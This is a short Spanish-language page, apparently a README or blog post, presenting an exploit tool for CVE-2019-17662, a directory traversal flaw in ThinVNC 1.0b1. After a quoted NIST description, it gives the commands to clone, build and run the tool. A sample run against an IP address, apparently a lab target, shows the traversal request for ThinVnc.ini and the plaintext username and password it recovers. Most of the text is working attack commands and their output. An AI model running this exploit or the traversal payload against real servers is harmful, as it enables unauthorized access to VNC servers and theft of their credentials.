
Exploit para CVE-2019-17662 (ThinVNC 1.0b1)
ThinVNC 1.0b1 es vulnerable a la lectura arbitraria de archivos, lo que lleva a comprometer el servidor VNC. La vulnerabilidad existe incluso cuando la autenticación está activada durante el despliegue del servidor VNC. La contraseña de autenticación se almacena en texto claro en un archivo que se puede leer mediante un vector de ataque de directory traversal ../../ThinVnc.ini.
~ NIST
$ git clone https://github.com/whokilleddb/CVE-2019-17662
$ cd CVE-2019-17662
$ make
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./bin/CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS Desciption
-u URL Base URL
-f File [Optional] File Name To Query (Default: ThinVnc.ini)
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens